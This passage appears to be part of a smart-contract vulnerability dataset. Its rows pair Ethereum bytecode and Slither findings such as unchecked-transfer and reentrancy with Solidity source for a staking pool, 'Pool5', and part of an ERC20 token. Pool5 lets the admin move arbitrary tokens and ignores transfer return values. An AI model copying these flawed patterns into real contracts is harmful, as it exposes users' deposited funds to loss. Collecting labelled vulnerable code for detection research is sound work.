9190612ebe565b6001600160a01b0384166000908152600f6020526040812060018101929092554260058301556002909101555b8160031415610afb576001600160a01b038316600090815260106020526040902060038101546001909101541115612a945760405162461bcd60e51b815260040161057290612feb565b6001600160a01b0383166000908152601060205260409020600501544211612ace5760405162461bcd60e51b815260040161057290613022565b6000612ada848461115a565b1115612b67576005546007546001600160a01b03918216916323b872dd911685612b04818761115a565b6040518463ffffffff1660e01b8152600401612b2293929190612ed6565b6020604051808303816000875af1158015612b41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b659190612efa565b505b612b71838361115a565b6001600160a01b038416600090815260106020526040902060010154612b979190612ebe565b6001600160a01b03841660009081526010602052604081206001810192909255426005830155600290910155505050565b600060208284031215612bda57600080fd5b5035919050565b6001600160a01b0381168114612bf657600080fd5b50565b60008060408385031215612c0c57600080fd5b8235612c1781612be1565b946020939093013593505050565b600060208284031215612c3757600080fd5b813561272081612be1565b600080600060608486031215612c5757600080fd5b505081359360208301359350604090920135919050565b60008060408385031215612c8157600080fd5b823591506020830135612c9381612be1565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715612cdd57612cdd612c9e565b604052919050565b600067ffffffffffffffff821115612cff57612cff612c9e565b5060051b60200190565b600082601f830112612d1a57600080fd5b81356020612d2f612d2a83612ce5565b612cb4565b82815260059290921b84018101918181019086841115612d4e57600080fd5b8286015b84811015612d695780358352918301918301612d52565b509695505050505050565b600080600060608486031215612d8957600080fd5b833567ffffffffffffffff80821115612da157600080fd5b612dad87838801612d09565b9450602091508186013581811115612dc457600080fd5b612dd088828901612d09565b945050604086013581811115612de557600080fd5b86019050601f81018713612df857600080fd5b8035612e06612d2a82612ce5565b81815260059190911b82018301908381019089831115612e2557600080fd5b928401925b82841015612e4c578335612e3d81612be1565b82529284019290840190612e2a565b80955050505050509250925092565b60008060408385031215612e6e57600080fd5b50508035926020909101359150565b602080825260119082015270125b9d985b1a590819195c1bdcda5d1259607a1b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008219821115612ed157612ed1612ea8565b500190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b600060208284031215612f0c57600080fd5b8151801515811461272057600080fd5b6000816000190483118215151615612f3657612f36612ea8565b500290565b600082612f5857634e487b7160e01b600052601260045260246000fd5b500490565b60208082526013908201527229ba30b5b29d102737ba1030b71020b236b4b760691b604082015260600190565b600060208284031215612f9c57600080fd5b5051919050565b600082821015612fb557612fb5612ea8565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415612fe457612fe4612ea8565b5060010190565b6020808252601e908201527f6e6f20636c61696d61626c6520616d6f756e7420617661696c61626c65330000604082015260600190565b60208082526011908201527074696d65206e6f7420726561636865643360781b60408201526060019056fea264697066735822122060a8d8e67a4a8b7d99992a415853d0aab55c7d3233901ffb177aee0f4b8ada0b64736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 3,231 |
0xbe85b1caae77b85e572b1d85262b5c36852ee9eb
|
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
admin = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(admin, newOwner);
admin = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract Pool5 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
address public tokenAddress;
address public liquiditytoken1;
// reward rate % per year
uint public rewardRate = 60000;
uint public rewardInterval = 365 days;
// staking fee percent
uint public stakingFeeRate = 0;
// unstaking fee percent
uint public unstakingFeeRate = 0;
// unstaking possible Time
uint public PossibleUnstakeTime = 24 hours;
uint public totalClaimedRewards = 0;
uint private FundedTokens;
bool public stakingStatus = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
/*=============================ADMINISTRATIVE FUNCTIONS ==================================*/
function setTokenAddresses(address _tokenAddr, address _liquidityAddr) public onlyOwner returns(bool){
require(_tokenAddr != address(0) && _liquidityAddr != address(0), "Invalid addresses format are not supported");
tokenAddress = _tokenAddr;
liquiditytoken1 = _liquidityAddr;
}
function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){
stakingFeeRate = _stakingFeeRate;
unstakingFeeRate = _unstakingFeeRate;
}
function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){
rewardRate = _rewardRate;
}
function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){
FundedTokens = _poolreward;
}
function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){
PossibleUnstakeTime = _possibleUnstakeTime;
}
function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){
rewardInterval = _rewardInterval;
}
function allowStaking(bool _status) public onlyOwner returns(bool){
require(tokenAddress != address(0) && liquiditytoken1 != address(0), "Interracting token addresses are not yet configured");
stakingStatus = _status;
}
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getFundedTokens()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
function updateAccount(address account) private {
uint unclaimedDivs = getUnclaimedDivs(account);
if (unclaimedDivs > 0) {
require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs);
totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs);
emit RewardsTransferred(account, unclaimedDivs);
}
lastClaimedTime[account] = now;
}
function getUnclaimedDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint unclaimedDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return unclaimedDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function place(uint amountToStake) public {
require(stakingStatus == true, "Staking is not yet initialized");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(liquiditytoken1).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function lift(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer withdraw fee.");
require(Token(liquiditytoken1).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimYields() public {
updateAccount(msg.sender);
}
function getFundedTokens() public view returns (uint) {
if (totalClaimedRewards >= FundedTokens) {
return 0;
}
uint remaining = FundedTokens.sub(totalClaimedRewards);
return remaining;
}
}
|
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80636a395ccb11610104578063c326bf4f116100a2578063f2fde38b11610071578063f2fde38b14610445578063f3073ee71461046b578063f3f91fa01461048a578063f851a440146104b0576101cf565b8063c326bf4f14610407578063d578ceab1461042d578063d816c7d514610435578063f1587ea11461043d576101cf565b8063a89c8c5e116100de578063a89c8c5e14610397578063b52b50e4146103c5578063bec4de3f146103e2578063c0a6d78b146103ea576101cf565b80636a395ccb146103515780637b0a47ee146103875780639d76ea581461038f576101cf565b8063455ab53c11610171578063583d42fd1161014b578063583d42fd146102f55780635ef057be1461031b5780636270cd18146103235780636654ffdf14610349576101cf565b8063455ab53c146102b35780634908e386146102bb57806352cd0d40146102d8576101cf565b80632f278fe8116101ad5780632f278fe814610261578063308feec31461026b57806337c5785a146102735780633844317714610296576101cf565b8063069ca4d0146101d45780631e94723f146102055780632ec14e851461023d575b600080fd5b6101f1600480360360208110156101ea57600080fd5b50356104b8565b604080519115158252519081900360200190f35b61022b6004803603602081101561021b57600080fd5b50356001600160a01b03166104d9565b60408051918252519081900360200190f35b610245610592565b604080516001600160a01b039092168252519081900360200190f35b6102696105a1565b005b61022b6105ac565b6101f16004803603604081101561028957600080fd5b50803590602001356105be565b6101f1600480360360208110156102ac57600080fd5b50356105e2565b6101f1610603565b6101f1600480360360208110156102d157600080fd5b503561060c565b610269600480360360208110156102ee57600080fd5b503561062d565b61022b6004803603602081101561030b57600080fd5b50356001600160a01b0316610932565b61022b610944565b61022b6004803603602081101561033957600080fd5b50356001600160a01b031661094a565b61022b61095c565b6102696004803603606081101561036757600080fd5b506001600160a01b03813581169160208101359091169060400135610962565b61022b610a3c565b610245610a42565b6101f1600480360360408110156103ad57600080fd5b506001600160a01b0381358116916020013516610a51565b610269600480360360208110156103db57600080fd5b5035610af7565b61022b610dec565b6101f16004803603602081101561040057600080fd5b5035610df2565b61022b6004803603602081101561041d57600080fd5b50356001600160a01b0316610e13565b61022b610e25565b61022b610e2b565b61022b610e31565b6102696004803603602081101561045b57600080fd5b50356001600160a01b0316610e65565b6101f16004803603602081101561048157600080fd5b50351515610eea565b61022b600480360360208110156104a057600080fd5b50356001600160a01b0316610f76565b610245610f88565b600080546001600160a01b031633146104d057600080fd5b60049190915590565b60006104e6600b83610f97565b6104f25750600061058d565b6001600160a01b0382166000908152600d60205260409020546105175750600061058d565b6001600160a01b0382166000908152600f602052604081205461053b904290610fb5565b6001600160a01b0384166000908152600d60205260408120546004546003549394509092610587916127109161058191908290889061057b908990610fc7565b90610fc7565b90610fe7565b93505050505b919050565b6002546001600160a01b031681565b6105aa33610ffc565b565b60006105b8600b611190565b90505b90565b600080546001600160a01b031633146105d657600080fd5b60059290925560065590565b600080546001600160a01b031633146105fa57600080fd5b60099190915590565b600a5460ff1681565b600080546001600160a01b0316331461062457600080fd5b60039190915590565b336000908152600d6020526040902054811115610691576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600754336000908152600e60205260409020546106af904290610fb5565b116106eb5760405162461bcd60e51b815260040180806020018281038252603b815260200180611301603b913960400191505060405180910390fd5b6106f433610ffc565b600061071161271061058160065485610fc790919063ffffffff16565b9050600061071f8383610fb5565b600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b15801561077b57600080fd5b505af115801561078f573d6000803e3d6000fd5b505050506040513d60208110156107a557600080fd5b50516107f8576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6002546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561084c57600080fd5b505af1158015610860573d6000803e3d6000fd5b505050506040513d602081101561087657600080fd5b50516108c9576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b336000908152600d60205260409020546108e39084610fb5565b336000818152600d602052604090209190915561090290600b90610f97565b801561091b5750336000908152600d6020526040902054155b1561092d5761092b600b3361119b565b505b505050565b600e6020526000908152604090205481565b60055481565b60106020526000908152604090205481565b60075481565b6000546001600160a01b0316331461097957600080fd5b6001546001600160a01b03848116911614156109b457610997610e31565b8111156109a357600080fd5b6008546109b090826111b0565b6008555b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610a0b57600080fd5b505af1158015610a1f573d6000803e3d6000fd5b505050506040513d6020811015610a3557600080fd5b5050505050565b60035481565b6001546001600160a01b031681565b600080546001600160a01b03163314610a6957600080fd5b6001600160a01b03831615801590610a8957506001600160a01b03821615155b610ac45760405162461bcd60e51b815260040180806020018281038252602a81526020018061136f602a913960400191505060405180910390fd5b600180546001600160a01b039485166001600160a01b031991821617909155600280549390941692169190911790915590565b600a5460ff161515600114610b53576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973206e6f742079657420696e697469616c697a65640000604482015290519081900360640190fd5b60008111610ba8576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b600254604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610c0257600080fd5b505af1158015610c16573d6000803e3d6000fd5b505050506040513d6020811015610c2c57600080fd5b5051610c7f576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b610c8833610ffc565b6000610ca561271061058160055485610fc790919063ffffffff16565b90506000610cb38383610fb5565b600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610d0f57600080fd5b505af1158015610d23573d6000803e3d6000fd5b505050506040513d6020811015610d3957600080fd5b5051610d8c576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600d6020526040902054610da690826111b0565b336000818152600d6020526040902091909155610dc590600b90610f97565b61092d57610dd4600b336111bf565b50336000908152600e60205260409020429055505050565b60045481565b600080546001600160a01b03163314610e0a57600080fd5b60079190915590565b600d6020526000908152604090205481565b60085481565b60065481565b600060095460085410610e46575060006105bb565b6000610e5f600854600954610fb590919063ffffffff16565b91505090565b6000546001600160a01b03163314610e7c57600080fd5b6001600160a01b038116610e8f57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b03163314610f0257600080fd5b6001546001600160a01b031615801590610f2657506002546001600160a01b031615155b610f615760405162461bcd60e51b815260040180806020018281038252603381526020018061133c6033913960400191505060405180910390fd5b600a805460ff19169215159290921790915590565b600f6020526000908152604090205481565b6000546001600160a01b031681565b6000610fac836001600160a01b0384166111d4565b90505b92915050565b600082821115610fc157fe5b50900390565b6000828202831580610fe1575082848281610fde57fe5b04145b610fac57fe5b600080828481610ff357fe5b04949350505050565b6000611007826104d9565b90508015611173576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561106557600080fd5b505af1158015611079573d6000803e3d6000fd5b505050506040513d602081101561108f57600080fd5b50516110e2576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526010602052604090205461110590826111b0565b6001600160a01b03831660009081526010602052604090205560085461112b90826111b0565b600855604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152600f60205260409020429055565b6000610faf826111ec565b6000610fac836001600160a01b0384166111f0565b600082820183811015610fac57fe5b6000610fac836001600160a01b0384166112b6565b60009081526001919091016020526040902054151590565b5490565b600081815260018301602052604081205480156112ac578354600019808301919081019060009087908390811061122357fe5b906000526020600020015490508087600001848154811061124057fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061127057fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610faf565b6000915050610faf565b60006112c283836111d4565b6112f857508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610faf565b506000610faf56fe596f752068617665206e6f74207374616b656420666f722061207768696c65207965742c206b696e646c792077616974206120626974206d6f7265496e74657272616374696e6720746f6b656e2061646472657373657320617265206e6f742079657420636f6e66696775726564496e76616c69642061646472657373657320666f726d617420617265206e6f7420737570706f72746564a26469706673582212200094ff82d0c2c1b967b6cd670bc54616ec16abf15694641bcc271837a136a3ed64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,232 |
0xf67a0910a341800b7446554102344c43883d9c78
|
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
